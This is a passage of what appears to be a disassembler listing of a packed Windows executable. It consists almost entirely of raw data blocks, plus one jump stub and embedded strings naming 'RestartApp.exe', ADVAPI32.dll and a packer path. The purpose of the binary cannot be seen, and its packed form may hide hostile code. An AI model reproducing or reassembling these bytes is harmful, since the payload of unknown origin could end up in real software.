		dd 85E39Bh, 0AEEA7D6Eh,	3123905Eh, 92BF0091h, 41CD72Ah
		dd 6A78CFh, 81DFFAF4h, 80C74CA1h, 87DC5B32h, 20C62861h
		dd 90EE6F24h, 4DF7A0C0h, 5C6DE346h, 270B50DDh, 20870B95h
		dd 0FF28001Ah, 26F09E97h, 2708CC60h, 1ED72B17h,	860B7340h
		dd 300A236Ah, 280355F8h, 32226009h, 0D5A12CF2h,	0C1994074h
		dd 2E09CBF1h, 6475AE40h, 4F011140h, 2AC800B7h, 0B0C0CB7Dh
		dd 49003C3h, 177EA63Fh,	0AB7AAE0h, 0B85B6F30h, 25AEF148h
		dd 0DC106B03h, 0B577B7F6h, 67DC3081h, 29990227h, 259281C2h
		dd 0A272ACC4h, 5574CD04h, 0A8E44C3Dh, 0F9DD01FAh, 98162AA3h
		dd 886373h, 0B30E4F71h,	62F13Fh, 3786C85h, 4D776AD6h, 0AC015091h
		dd 0BC9650A6h, 0BA10F06Eh, 0B75AC100h, 616D86AEh, 80F4917Bh
		dd 0C0429E63h, 0E63FE803h, 0EFB50251h, 51DD81E3h, 4C060010h
		dd 9EB11FF4h, 8DCA905h,	104FDEF8h, 899AA01Dh, 749EC1Bh
		dd 0EA7C46DDh, 3072EE23h, 7061E210h, 0D472A728h, 0DBA0A554h
		dd 4EDEA809h, 889CC84Dh, 0D319005Ah, 0B4AEC31Eh, 18048FE0h
		dd 0F25195B9h, 0B848D4B0h, 89410000h, 2C605BDCh, 56307261h
		dd 0E93C71F0h, 36C301D6h, 439FEF6Ah, 0B1B04848h, 9D1DDE00h
		dd 2594BA15h, 85F0049h,	7B455791h, 3013F9E3h, 5000CC18h
		dd 314F2B29h, 178E03DEh, 9E93C2F5h, 0B5CACDB8h,	0C0DCC42Ch
		dd 92333281h, 202CD1h, 184274B9h, 11B3AF8Ch, 6909787Bh
		dd 2165D085h, 19C6314h,	3EADDA40h, 1555160Ah, 6A00FA77h
		dd 0AF82A645h, 1E4CB87Eh, 80FB37F7h, 34D8F63Ah,	6E04DE9Dh
		dd 0D6D720ABh, 1D6C88h,	0FCA3B403h, 3FEAF887h, 5F270701h
		dd 49F5B695h, 93E30F0h,	28228BD4h, 0F85FB898h, 0C5F2F412h
		dd 7FF3BC01h, 1032A347h, 0D2A07300h, 9F421933h,	39BA4930h
		dd 0E6D6C5Bh, 1C462366h, 786FDB80h, 44013811h, 9DF36993h
		dd 60D6D434h
		dd 4F3336DDh, 0CAC8C0E5h, 0C17F1E0h, 142125AFh,	2EDDDF04h
		dd 0A0F309DDh, 25D9882h, 167962F9h, 40C05061h, 0BCB1D0BAh
		dd 498F9781h, 9023366Bh, 61555000h, 7EE917B5h, 0D83D1C01h
		dd 0EB41D398h, 505C3ED0h, 0A1E3C891h, 0FCE45FA0h, 28A1FC06h
		dd 0F49508h, 3B9E11AEh,	5C4D8F8Dh, 0CF6F526h, 9AF8453Ah
		dd 6D5009CDh, 0F4023984h, 7221C9E2h, 29BC68AFh,	320E8858h
		dd 1F778635h, 1E0062ECh, 0A501CA3Dh, 0B00D7A5Fh, 1C3623A4h
		dd 0C95A1900h, 0B049EF47h, 0C1F72E14h, 12308C0h, 0E9737C82h
		dd 37BC6871h, 2F580928h, 0AC82BBDAh, 50437ADBh,	224D72B1h
		dd 5EE30F7Ch, 668200ACh, 0B4239589h, 47344010h,	0D7516BA8h
		dd 0F069DA90h, 0EFB0C4FFh, 9648421Ah, 583C6810h, 7EAB3D6Dh
		dd 0CF008CD2h, 2AFB85BBh, 0AA13EF5Fh, 90974DFEh, 0CB7432E0h
		dd 0A29C25F7h, 0C6293C18h, 30028A90h, 0B1B334DFh, 18CCC846h
		dd 0ED8CA1B0h, 20794D12h, 2E1A9900h, 7106417Fh,	0B1A800F9h
		dd 67659CA9h, 9D581790h, 26C20010h, 0B9B0A187h,	0A8D0721Bh
		dd 1CBC8CD4h, 419673CCh, 0FD9ACE78h, 0E311EC59h, 47EB5004h
		dd 84C02874h, 5C9928Bh,	365AB7CAh, 0DFB0CC96h, 0F2801701h
		dd 2C3440ADh, 0BB00E832h, 0E44958C3h, 0D2F6C937h, 0FBA87550h
		dd 0AEAFD4A0h, 5E80E0B3h, 0A7B40822h, 162798A1h, 4D0CB81h
		dd 80E3AC60h, 0A9E4C8D9h, 0CD14F902h, 0E4D53C83h, 0C66D00E8h
		dd 0B3D9CF58h, 24010E4Bh, 9388267Fh, 3C294886h,	796CA600h
		dd 5C5BC1B1h, 61E8B500h, 0ED7E3A27h, 49EB281Eh,	0D0111890h
		dd 5D935969h, 6B0E8701h, 0BF7066A4h, 5D79EF8h, 73FC506Ch
		dd 0E8FC822Ah, 479AE520h, 9C455C46h, 7890B022h,	0EFCFB517h
		dd 63E07402h, 0BBE260E4h, 4E980062h, 93B420D4h,	1FF87CD9h
		dd 360E4FEAh, 0A19BFE44h, 0FFB7D1A5h, 4700043Dh, 0DAAA684Eh
		dd 3C0F7F8Fh, 0A1183B4Fh, 0E734D6C8h, 25E9860h,	1BF854B6h
		dd 94E1A4E3h, 0AC97106Eh, 0DEC00F3Bh, 233FB3Eh,	957973E0h
		dd 0B00084D8h, 614F9664h, 0B472ADF5h, 0F95F62C0h, 0C6FBD485h
		dd 0E42C602Ch, 0C7035CA6h, 88FAC207h, 60D80C4Eh, 3AFBE6Eh
		dd 0F0A8CADAh, 88A8AE79h, 59C0CF55h, 0D753EBF1h, 189302CBh
		dd 73D3C502h, 41002CD9h, 4D7BCD88h, 480B4C3Fh, 0F02D4C01h
		dd 0E0A2808Bh, 0F150E7C3h, 0C1EBA2Ch, 5740C934h, 0C729A217h
		dd 0E9D401EBh, 55479C4Bh, 33C88445h, 0A088E7B6h, 295823h
		dd 0B1EB8386h, 0E4480BF8h, 0DE860054h, 82188546h, 0B6FEF6h
		dd 0B5C90E05h, 5490DA15h, 56818B00h, 8F49E846h,	38620F83h
		dd 7D8050D1h, 0B25E3D60h, 0D255171h, 80DCAED5h,	5728B189h
		dd 3E2D00F7h, 85DC8D40h, 8F0777EEh, 461F7CD7h, 0B2447EC1h
		dd 21DBE180h, 59DA9857h, 9387F604h, 0F0803FEFh,	5CA8A569h
		dd 225BB4C4h, 0C923AE98h, 0A68BB8A7h, 0BA010120h, 8389F3F4h
		dd 3D68FCFBh, 0CF2B4002h, 85421A2Ah, 0FC8046F0h, 240BAED7h
		dd 4185B4Eh, 0D8322261h, 27133EB8h, 0A821EBB6h,	70723523h
		dd 2A778302h, 0D8609A81h, 0AA4EAFECh, 0A86D8420h, 403C00C6h
		dd 0EEE9B05Ah, 7B02C279h, 0BDF483FAh, 4728E0F7h, 404D6E40h
		dd 23DBF581h, 0BB8393Bh, 989D9546h, 723CDCh, 0EE831FA5h
		dd 66208288h, 7ACABA09h, 0B50E492h, 27457C35h, 0F6FF3A00h
		dd 76055769h, 0AFD8A219h, 4826C8F1h, 4F845928h,	0DE4430D4h
		dd 5401F088h, 0FFFBBE89h, 3BC92673h, 90FE9260h,	0C45800A8h
		dd 6B442549h, 8400AAB3h, 9D7D4019h, 0F76DF3Bh, 0B9566839h
		dd 20D5961Ch, 2F10C7E0h, 0B4BB2E01h, 0F04840D9h, 0C029AC51h
		dd 49CB7C0h, 352034D7h,	7000F2D8h, 7A9B385Ch, 6C4BAC0Fh
		dd 0A089006Bh, 4FC0BFh,	1C3D169Ch, 0E0EB7FCBh, 773F7CBEh
		dd 670C1095h, 7B476A9h,	8CD6042Ah, 0B5837285h, 5B8B1079h
		dd 72782097h, 12A20D88h, 12B567h, 0C63BA83Fh, 7103DBB0h
		dd 0CC1FBA21h, 0C7FF885h, 0C4F02851h, 0A62D17DEh, 15982056h
		dd 0CF0078EDh, 5311F51Fh, 2D7B52h, 0A4B12FD1h, 289D1ED6h
		dd 34E648h, 9245AF56h, 0E26AFDF6h, 697D3C5Eh, 0AC65D480h
		dd 0CD3154B3h, 0D18F120Bh, 4368A17Bh, 5062447Fh, 7981AE1Bh
		dd 8C3295C3h, 0D2D511B8h, 0DC570088h, 80C7AD02h, 217C25CAh
		dd 0B4226E00h, 2D0A48D8h, 78DE0107h, 97F0938Fh,	7C50C2C7h
		dd 49CFD338h, 0CE2248h,	0B0DD0D40h, 0D4AB15B4h,	57BF7300h
		dd 23B7AF3Eh, 4DDE1287h, 83D440C9h, 0F4EA498Ch,	571A5000h
		dd 96152E90h, 0DBEF001Bh, 5E632C32h, 285222FAh,	0C37C4CA0h
		dd 0D088085Bh, 0F73A2B6h, 0DF9F3EB8h, 31E955E0h, 94B8E8E1h
		dd 0BED59E44h, 188A8BA0h, 206D07h, 9D7B1AF3h, 0C81FA000h
		dd 0C332B813h, 20AD5FCCh, 252C7DC0h, 0A04C40BAh, 0E20101C5h
		dd 6678BB3Ah, 76610420h, 0E9162483h, 517F028Ch,	7044A953h
		dd 76FD1700h, 0E70B0CD1h, 0FB48224Eh, 4C50C601h, 46F6D82Ah
		dd 4704546Ch, 0B448FABBh, 0E2006C60h, 0EBE09ACCh, 1DC1261Fh
		dd 44DBC585h, 0E448893Eh, 5200C454h, 8F4C91B6h,	0B8F734EAh
		dd 8A974CF1h, 5237FA1Eh, 0DF640910h, 0C700B064h, 8B6DF8F5h
		dd 0C695A1h, 0B71082A6h, 8FDE8E0Bh, 0E7776A04h,	0B4C07268h
		dd 0BC70E83Ah, 4E86820h, 0C03D95F3h, 0AC441259h, 0F90B1CB0h
		dd 10EDB7D0h, 31467228h, 73E0954Dh, 80E83C16h, 5CFE393Ah
		dd 3C5200A9h, 3291DA93h, 100043FAh, 69DFBAE3h, 24F6CD42h
		dd 2104F234h, 94EC60E8h, 0FB035F2Ah, 0D0F27AF9h, 0EFD9C83Ch
		dd 36261864h, 965DC130h, 148BA5Ch, 7F6DAB2Ch, 702CBE46h
		dd 0FF5BA580h, 0AA4EED55h, 11AF2020h, 0F89C1ED9h, 0BCFE0332h
		dd 34C88BE3h, 70092F99h, 102695ABh, 1F9F010h, 97EE6EF6h
		dd 312F3F9Dh, 0AA1C41B3h, 35D0F044h, 0FC703000h, 0B4AD2C83h
		dd 1CC5254h, 60FBFFFFh,	0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5C96A9:				; CODE XREF: start:loc_513265j
					; DATA XREF: start:loc_513086o
		jmp	loc_5CCB8A
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
		dd 0Fh dup(0)
		dd 0FFB00000h, 11DA025Ch, 7C81h, 0
		dd 0D90D0000h, 5Ch, 2 dup(0)
		dd 0B5860000h, 0FEC8005Ch, 11DA0012h, 7C81h, 58ED0000h
		dd 6Ah,	2 dup(0)
		dd 0C7D00000h, 69h, 2 dup(0)
		dd 0EE90000h, 30DF0002h, 439AA9C5h, 9C38FFFFh, 39FCh, 146C0000h
		dd 180F836Fh, 100BBh, 2000000h,	27h, 7E41h, 6AFC0000h
		dd 2440h, 6 dup(0)
		dd 68EE0000h, 2368h, 9B1E0000h,	7BAFh, 0D2140000h, 67h
		dd 0
		dd 0CDDA0000h, 7C81h, 2	dup(0)
		dd 7C0000h, 0FFB00000h,	17Ch, 0FA030000h, 0F41D00BBh, 5FE2h
		dd 2 dup(0)
		dd 8B280000h, 0BBh, 3 dup(0)
		dd 0D2870000h, 0B1h, 146C0000h,	895A836Fh, 0F5CEFF96h
		dd 0BDCD06CDh, 79CFh, 3	dup(0)
		dd 13A37C80h, 0A250066h, 0BBh, 0B5DF0000h, 5F65h, 2 dup(0)
		dd 2C930000h, 7E00h, 5 dup(0)
		dd 55050000h, 65h, 3 dup(0)
		dd 9FD80000h, 551B2FC5h, 47C7h,	3 dup(0)
		dd 0DC0000h, 2 dup(0)
		dd 33C0000h, 0FDFFh, 0
		dd 3F640000h, 0BBh, 2 dup(0)
		dd 97000000h, 3	dup(0)
		dd 0E30F0000h, 6BF00066h, 77DDh, 2 dup(0)
		dd 1A3C0000h, 0BBh, 0C0590000h,	65h, 0
		dd 0FA030000h, 0BBh, 6 dup(0)
		dd 0FFFF0000h, 3C11h, 0
		dd 552D0000h, 65h, 0
		dd 9C0000h, 3 dup(0)
		dd 0A00000h, 3 dup(0)
		dd 0EE90000h, 182E0002h, 0
		dd 0FF8C7C90h, 12h, 395E0000h, 0F037h, 4 dup(0)
		dd 10000h, 2, 5	dup(0)
		dd 0AF0F0000h, 0BBh, 0
		dd 840000h, 0
		dd 0D7F60000h, 0
		dd 1A7A0000h, 1Dh, 2 dup(0)
		dd 3B490000h, 0FF9Bh, 6	dup(0)
		dd 5FD0000h, 0FF44h, 81230000h,	282Ah, 3 dup(0)
		dd 0E58B0000h, 0E00065h, 0
		dd 0B31A0000h, 5Ch, 0
		dd 0EB940000h, 7C90h, 33CE0000h, 2C0066h, 25Dh,	7 dup(0)
		dd 400000h, 41EAh, 2 dup(0)
		dd 0F040277h, 0C06B836Fh, 65h, 0
		dd 0E5040000h, 8D8DD9FDh, 0B5D8h, 2 dup(0)
		dd 9E50000h, 0BBh, 5 dup(0)
		dd 230000h, 66h, 81h dup(0)
		dd 4ACF0000h, 0D74Eh, 7	dup(0)
		dd 0FA030000h, 1FF800BBh, 0B50h, 2 dup(0)
		dd 56B00000h, 69h, 2 dup(0)
		dd 0C8320000h, 69h, 0FFDF0000h,	7CFBh, 675A0000h, 0B851h
		dd 7 dup(0)
		dd 0C8320000h, 69h, 0
		dd 0B3AC0000h, 3DC9h, 3BBB0000h, 0C81h,	3 dup(0)
		dd 230000h, 66h, 1Bh dup(0)
		dd 1F550000h, 66h, 8 dup(0)
		dd 30880000h, 6Bh, 0
		dd 0EE5A0000h, 77DDh, 4	dup(0)
		dd 33B10000h, 1510FF9Bh, 76F2h,	0
		dd 0FFFE0000h, 0DE863FCh, 3 dup(0)
		dd 35180000h, 7C80h, 0Ah dup(0)
		dd 0EF9E0000h, 0FF98h, 56D0000h, 146C7C91h, 836Fh, 0CBh
		dd 0
		dd 8C0000h, 30DF0000h, 0FFFFA9C5h, 0FFFFh, 0B5080000h
		dd 0BBh, 5 dup(0)
		dd 97B80276h, 0FFFFh, 6	dup(0)
		dd 0B00000h, 6 dup(0)
		dd 0FE800000h, 12h, 9 dup(0)
		dd 684C0000h, 0
		dd 31E50000h, 0C05900C1h, 65h, 0
		dd 0E5280000h, 2FF0067h, 66h, 7	dup(0)
		dd 0D3BB0000h, 65h, 3 dup(0)
		dd 3E00000h, 0A77005Ch,	7C81h, 0
		dd 0EB940000h, 0CE2434h, 10000h, 0
		dd 667E0000h, 65h, 0A00000h, 29h dup(0)
		dd 2DD90000h, 0D55Bh, 146C0000h, 836Fh,	5 dup(0)
		dd 64B0000h, 66h, 4 dup(0)
		dd 0B0050000h, 65h, 3 dup(0)
		dd 0EB940000h, 7C90h, 7	dup(0)
		dd 90000000h, 2, 3 dup(0)
		dd 2B650000h, 0C0598146h, 65h, 0
		dd 0EB940000h, 0C827C90h, 0FFFFh, 29Dh,	4 dup(0)
		dd 31510000h, 6Bh, 3 dup(0)
		dd 0BB7C0000h, 67h, 0B87D0000h,	6 dup(0)
		dd 7F5D0000h, 3259h, 2 dup(0)
		dd 5D5A0000h, 69h, 0Eh dup(0)
		dd 5FFE0000h, 0F59Fh, 0Ah dup(0)
		dd 0DB060000h, 1F889h, 0EED20000h, 0FFFFh, 3 dup(0)
		dd 0F13D0000h, 0FFDDh, 0Eh dup(0)
		dd 97B40000h, 0FFFFh, 0FFF00000h, 12h, 0BC800000h, 0F3C0h
		dd 2 dup(0)
		dd 6DD40000h, 225F0266h, 10D4h,	0
		dd 3BCD0000h, 0BB7F006Bh, 7073h, 54220000h, 837Fh, 6 dup(0)
		dd 21210000h, 2121h, 3 dup(0)
		dd 0FFDD0000h, 0FF99h, 2 dup(0)
		dd 9E50000h, 0BBh, 3 dup(0)
		dd 0D61F0000h, 0DFF7005Ch, 6Fh,	8 dup(0)
		dd 4A2C0000h, 65h, 2 dup(0)
		dd 0FA030000h, 0BBh, 5 dup(0)
		dd 25F30000h, 67h, 7 dup(0)
		dd 647D0000h, 7C91h, 0FADE0000h, 0D98Ch, 0E90000h, 0FF9Fh
		dd 0
		dd 0D7F60000h, 3 dup(0)
		dd 22DF0000h, 10D4h, 0FEC80000h, 12h, 1E00000h,	40h, 3 dup(0)
		dd 0E58B0000h, 65h, 0
		dd 0A00000h, 0
		dd 8D8D0000h, 0E332h, 0
		dd 54DD0000h, 0CC4F0065h, 5C8Fh, 4 dup(0)
		dd 90440000h, 66h, 65520000h, 72617473h, 70704174h, 6578652Eh
		dd 0
		dd 9E0D0000h, 0FF98h, 0
		dd 0EB940000h, 7C90h, 0
		dd 2130000h, 0C1h, 0
		dd 0D7F60000h, 0
		dd 94B10000h, 5777h, 0
		dd 33000000h, 0F946143h, 0
		dd 17D20000h, 6Bh, 0
		dd 0FA030000h, 0BBh, 18h dup(0)
		dd 0C4570000h, 12h, 5 dup(0)
		dd 80520000h, 4143006Ah, 0DCD6h, 2 dup(0)
		dd 0E0B60000h, 0F0DEh, 11110000h, 0D42E1111h, 65h, 0
		dd 1000000h, 4C730000h,	0FF9Ah,	0BBh, 0Dh dup(0)
		dd 0DB380000h, 4E08h, 0
		dd 40000h, 9 dup(0)
		dd 0F1A50000h, 801F82h,	19h dup(0)
		dd 33240000h, 0F3C9h, 0
		dd 0B7C40000h, 7D3B238Dh, 69h, 4 dup(0)
		dd 0B0050000h, 0EB940065h, 7C90h, 0A8AD0000h, 43497E41h
		dd 430Fh, 0
		dd 0EB940000h, 7C90h, 6	dup(0)
		dd 843C0040h, 2DC1h, 0ABDE0000h, 0B0057C80h, 65h, 0A0AC0000h
		dd 66h,	0AEh dup(0)
		dd 3E0000h, 0BBh, 0
		dd 5BB70000h, 1CF70689h, 0BEh, 0
		dd 9E50000h, 9EEB00BBh,	0FF95h,	2 dup(0)
		dd 0AA120000h, 67h, 0EDE50000h,	77DDh, 0FFC20000h, 0F3F1h
		dd 5 dup(0)
		dd 0C4DA0000h, 5Ch, 0AC290000h,	92740000h, 20000000h, 2	dup(0)
		dd 13A30000h, 0FFE00066h, 12h, 2 dup(0)
		dd 83BD0000h, 0FFFFh, 23h dup(0)
		dd 91780000h, 0C0h, 4 dup(0)
		dd 0C1AF0000h, 0
		dd 29180000h, 0BBh, 0F7FF0000h,	0EBF7h,	0DC230000h, 2ABFh
		dd 2 dup(0)
		dd 9A130000h, 65h, 0F37E0000h, 66h, 6 dup(0)
		dd 8E510000h, 0BBh, 2 dup(0)
		dd 0FFA40000h, 0DB7A0012h, 4 dup(0)
		dd 0B40000h, 30DF0000h,	4 dup(0)
		dd 0EB940000h, 7C90h, 1Eh dup(0)
		dd 301B0000h, 66h, 6B790000h, 69h, 7 dup(0)
		dd 0EB940000h, 7C90h, 44560000h, 2849h,	9E50000h, 37D300BBh
		dd 0D34B32A0h, 26Bh, 6 dup(0)
		dd 0AEA10000h, 0BBh, 0C0FE0000h, 5Ch, 0
		dd 19200000h, 0D7F600BBh, 0
		dd 0B4C70000h, 0EB94DA79h, 7C90h, 2 dup(0)
		dd 17900000h, 76F2h, 3 dup(0)
		dd 10000000h, 5F5F0051h, 512Eh,	2 dup(0)
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 5C780000h, 0
		dd 0AE660000h, 567D005Ch, 0F7CF3971h, 4412h, 3BF00000h
		dd 66h,	526A0000h, 65h,	5 dup(0)
		dd 0EB940000h, 56437C90h, 4 dup(0)
		dd 0D5B20000h, 65h, 4 dup(0)
		dd 29180000h, 0FA0300BBh, 8B0D00BBh, 0BEh, 0B5080000h
		dd 0BBh, 4 dup(0)
		dd 0B0h, 2 dup(0)
		dd 7CDB0000h, 0FF99h, 0
		dd 230000h, 5Ch, 0
		dd 0C56B0000h, 2650h, 2Dh dup(0)
		dd 0FFB00000h, 19Ch, 0
		dd 3B60000h, 0
		dd 290A0000h, 7880h, 2 dup(0)
		dd 0CB720000h, 5Ch, 3 dup(0)
		dd 1FFF0000h, 61640000h, 16F4Fh, 0BCB70000h, 0DBBCF0h
		dd 0
		dd 1BD0000h, 48D25AC1h,	65h, 2 dup(0)
		dd 0ED640000h, 0A5C8h, 7880000h, 0
		dd 103F0000h, 0FFDFh, 5	dup(0)
		dd 0EE180000h, 7C90h, 0Ah dup(0)
		dd 290A0000h, 6A577880h, 439F1F16h, 0Dh, 3 dup(0)
		dd 4E90000h, 5 dup(0)
		dd 16250000h, 7C80h, 6 dup(0)
		dd 0FF540000h, 0FFFF0012h, 0FFFFh, 4 dup(0)
		dd 9E50000h, 0E58B00BBh, 65h, 2	dup(0)
		dd 0DA440000h, 0C246h, 5 dup(0)
		dd 484F0000h, 9	dup(0)
		dd 19200000h, 7D9000BBh, 3F7h, 4 dup(0)
		dd 5DF20000h, 0FFA3h, 5	dup(0)
		dd 9A570000h, 5Eh, 2 dup(0)
		dd 0D5B20000h, 65h, 0C1820000h,	64h, 3 dup(0)
		dd 0BA190000h, 0C41B006Eh, 77DFh, 4 dup(0)
		dd 43490000h, 430Fh, 5 dup(0)
		dd 84990000h, 836Dh, 0EB940000h, 7C90h,	2 dup(0)
		dd 3B60000h, 7 dup(0)
		dd 0FFB00000h, 1DCh, 2 dup(0)
		dd 0EFB00000h, 68h, 5 dup(0)
		dd 0D7F60000h, 5 dup(0)
		dd 4BA80000h, 0AF500014h, 0AE2Dh, 6 dup(0)
		dd 52840000h, 377A0065h, 5Dh, 0C0590000h, 65h, 3 dup(0)
		dd 180F0000h, 0BBh, 480000h, 0DDF90000h, 7C90h,	0
		dd 0E480000h, 0EB940000h, 7C90h, 0D7F60000h, 0
		dd 0ABC20000h, 7C80h, 33B10000h, 0FF9Bh, 0Ch dup(0)
		dd 180E0000h, 7C80h, 2 dup(0)
		dd 35230000h, 0BE63h, 0
		dd 40000h, 0C0590000h, 30DF0065h, 0AF0F0000h, 0BBh, 1C520000h
		dd 0D0E00215h, 0E504005Ch, 6CD9FDh, 0
		dd 0DF5B0000h, 0A4511AF6h, 9DEAh, 0D9D10000h, 5Ch, 4 dup(0)
		dd 37420000h, 73Fh, 0B0050000h,	65h, 4 dup(0)
		dd 146C0000h, 180F836Fh, 0BBh, 0EB940000h, 0A47C90h, 0EB940000h
		dd 33337C90h, 2	dup(33333333h),	0D95D3333h, 5Ch, 77DDh
		dd 0EB940000h, 7C90h, 0FFFF0000h, 9D6FFFFh, 0BBh, 0D7F60000h
		dd 0
		dd 263C0000h, 30147C80h, 11h, 79840000h, 0C144h, 0C5C40000h
		dd 0E249B1Bh, 0BBh, 2 dup(0)
		dd 0BE5A0000h, 5Ch, 2 dup(0)
		dd 573D0000h, 1419h, 0A8C50000h, 6E7h, 0Ah dup(0)
		dd 277h, 0Dh dup(0)
		dd 0B4CF0000h, 61C07C80h, 8D8D0B50h, 0E332h, 92D60000h
		dd 66h,	5 dup(0)
		dd 30DF0000h, 0A9C5h, 3	dup(0)
		dd 0FC420000h, 16A1Fh, 0F4A10000h, 8 dup(0)
		dd 237B0000h, 67h, 3700000h, 0
		dd 0DBC7h, 2 dup(0)
		dd 280A0000h, 0CDDAFFFFh, 1B1F7C81h, 7F77h, 6 dup(0)
		dd 740000h, 4 dup(0)
		dd 22220000h, 22222222h, 1F552222h, 0C0590000h,	65h, 2 dup(0)
		dd 0B0050000h, 7C90h, 4	dup(0)
		dd 0D3BB0000h, 65h, 3 dup(0)
		dd 8D8D0000h, 0EB945027h, 7047C90h, 7 dup(0)
		dd 3FA70000h, 4A2CFF9Ah, 65h, 0C0590000h, 0B5860065h, 5Ch
		dd 11h dup(0)
		dd 263C0000h, 7C80h, 2 dup(0)
		dd 43800000h, 0C3Fh, 0
		dd 0C4EE0000h, 9E5005Ch, 4842Bh, 0AD300000h, 6Ah, 15h dup(0)
		dd 4EB00000h, 0E0007B36h, 0EFCF002Bh, 0D0000082h, 420004h
		dd 0
		dd 97B40000h, 0E035FFFFh, 7C7Fh, 3A430000h, 4E49575Ch
		dd 53574F44h, 7379735Ch, 336D6574h, 44415C32h, 49504156h
		dd 642E3233h, 6C6Ch, 3Dh dup(0)
		dd 60550000h, 0B0050067h, 65h, 167D0000h, 241785h, 2010000h
		dd 5 dup(0)
		dd 97B40000h, 0FFFFh, 0Ah dup(0)
		dd 0A8CF0000h, 596A00BBh, 43490132h, 430Fh, 0
		dd 0D7F60000h, 0FFFF0000h, 0FFFFh, 4 dup(0)
		dd 10000h, 5 dup(0)
		dd 18A90000h, 0FF97h, 5	dup(0)
		dd 0B3BA0000h, 5Ch, 3E120000h, 3D41h, 270000h, 6 dup(0)
		dd 6E0D0000h, 75A60067h, 10069h, 3 dup(0)
		dd 5560000h, 66h, 4 dup(0)
		dd 0F0FC0000h, 0F3F1h, 7 dup(0)
		dd 43730000h, 9C72h, 0CC4F0000h, 0BBB50064h, 39980067h
		dd 0BBh, 3 dup(0)
		dd 23E10000h, 0DF70h, 0CFE20000h, 0FE89h, 10h dup(0)
		dd 84CD0000h, 9BCB0060h, 7D06h,	2 dup(0)
		dd 0B9CA0000h, 2DBC1913h, 0FF96h, 3 dup(0)
		dd 175C0000h, 65h, 3 dup(0)
		dd 77DDh, 0
		dd 180E0000h, 7C80h, 2 dup(0)
		dd 0A8AD0000h, 7E41h, 58F80000h, 0FFC40000h, 12h, 4 dup(0)
		dd 190C0000h, 6Ah, 9 dup(0)
		dd 9C0000h, 0B0050000h,	65h, 0CE800000h, 0FFB6h, 5 dup(0)
		dd 0EED20000h, 23ADFFFFh, 3A437C97h, 755F6D5Ch,	6361706Eh
		dd 72656Bh, 8Dh	dup(0)
		dd 0D2C0000h, 2	dup(0)
		dd 0FFB00000h, 1ACh, 4 dup(0)
		dd 10000h, 2 dup(0)
		dd 0D7F60000h, 6 dup(0)
		dd 900000h, 0C0590000h,	65h, 7 dup(0)
		dd 0AAA10000h, 0BBh, 8 dup(0)
		dd 0FF5C0000h, 12h, 95E30000h, 5Ch, 2 dup(0)
		dd 91A80000h, 0EA1Ah, 0
		dd 1050000h, 3C0A28h, 7C80h, 2 dup(0)
		dd 0EDD10000h, 0BF652A72h, 7C3h, 5 dup(0)
		dd 97B40000h, 0FFFFh, 2	dup(0)
		dd 0FA370000h, 9A0A00BBh, 0F3E0h, 6 dup(0)
		dd 7C0000h, 3 dup(0)
		dd 0EB940000h, 7C90h, 4C810000h, 23E40068h, 0
		dd 0CC4F0000h, 64h, 0Dh	dup(0)
		dd 0EB940000h, 0B6067C90h, 0FFFFh, 0
		dd 4A0A0000h, 0FFA3h, 3	dup(0)
		dd 0ED640000h, 0A5C8h, 2 dup(0)
		dd 36360000h, 3636h, 14h dup(0)
		dd 6E690000h, 0B31AFFFFh, 5Ch, 146C0000h, 7883836Fh, 77DDh
		dd 2 dup(0)
		dd 0EB940000h, 7C90h, 2	dup(0)
		dd 0FF540000h, 33DFh, 2	dup(0)
		dd 0D8E70000h, 37C57ADBh, 4231Bh, 0EB940000h, 7C90h, 64800000h
		dd 66h,	25Dh, 13E80000h, 0
		dd 8B320000h, 0BEh, 0
		dd 51F00000h, 66h, 0
		dd 833C0000h, 6Ah, 44990000h, 4E5BFFFFh, 76B4h,	6 dup(0)
		dd 30DF0000h, 5	dup(0)
		dd 0E44F0000h, 0FFFF0067h, 0FFFFh, 6C5B0000h, 76F3h, 0Ah dup(0)
		dd 0FCAD0000h, 405700BDh, 0AE3FDEEDh, 7D18308h,	3 dup(0)
		dd 61F30000h, 4EB0067h,	8 dup(0)
		dd 56430000h, 0
		dd 24240000h, 2424h, 2 dup(0)
		dd 780000h, 0B0050000h,	65h, 6 dup(0)
		dd 6DB10000h, 6568h, 7B680000h,	41h, 56430000h,	0
		dd 19F00000h, 0BBh, 0B31A0000h,	5Ch, 6 dup(0)
		dd 0DE1A0000h, 0BBh, 3 dup(0)
		dd 2BF00000h, 96EBh, 2 dup(0)
dword_5CBE1C	dd 0EB940000h, 7C90h, 6Dh dup(0)
		dd 30DF0000h, 3	dup(0)
		dd 47040000h, 5A4B006Bh, 7C91h,	0
		dd 0FF540000h, 12h, 0
		dd 33B10000h, 98FF9Bh, 28D80000h, 0EE806DEh, 8 dup(0)
		dd 0E3D30000h, 69h, 6 dup(0)
		dd 0EE90000h, 2, 7 dup(0)
		dd 0DE80000h, 0
		dd 56430000h, 2	dup(0)
		dd 31F70000h, 68h, 5 dup(0)
		dd 0FF9C0000h, 0FFFFh, 4 dup(0)
		dd 51420000h, 7C2Bh, 0
		dd 0B8510000h, 5BD5h, 8	dup(0)
		dd 8E510000h, 0CD2600BBh, 919B241Bh, 0EF875B18h, 257Dh
		dd 2 dup(0)
		dd 12020000h, 0D4ED0000h, 0AFEAh, 68540000h, 64696D65h
		dd 61h,	1Fh dup(0)
		dd 0F9FC0000h, 0B3h, 0E5860000h, 0E1Dh,	0
		dd 0C8BE0000h, 0EBE70069h, 0A99177DDh, 65h, 9 dup(0)
		dd 8EE40000h, 0BBh, 2 dup(0)
		dd 13A30000h, 66h, 6 dup(0)
		dd 0FA030000h, 0BBh, 2 dup(0)
		dd 0E40000h, 3 dup(0)
		dd 146C0000h, 836Fh, 0EB940000h, 6E407C90h, 0AAA10000h
		dd 0BBh, 3 dup(0)
		dd 0D5470000h, 0EC53h, 6 dup(0)
		dd 10000000h, 0DAD0040h, 5F49h,	2 dup(0)
		dd 0CCDC0000h, 0C36h, 7	dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0BBFA37B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	19h dup(0)
		dd 0FF540000h, 12h, 700000h, 3 dup(0)
		dd 2A090000h, 0FA037C81h, 1900BBh, 0FA030000h, 0CA9000BBh
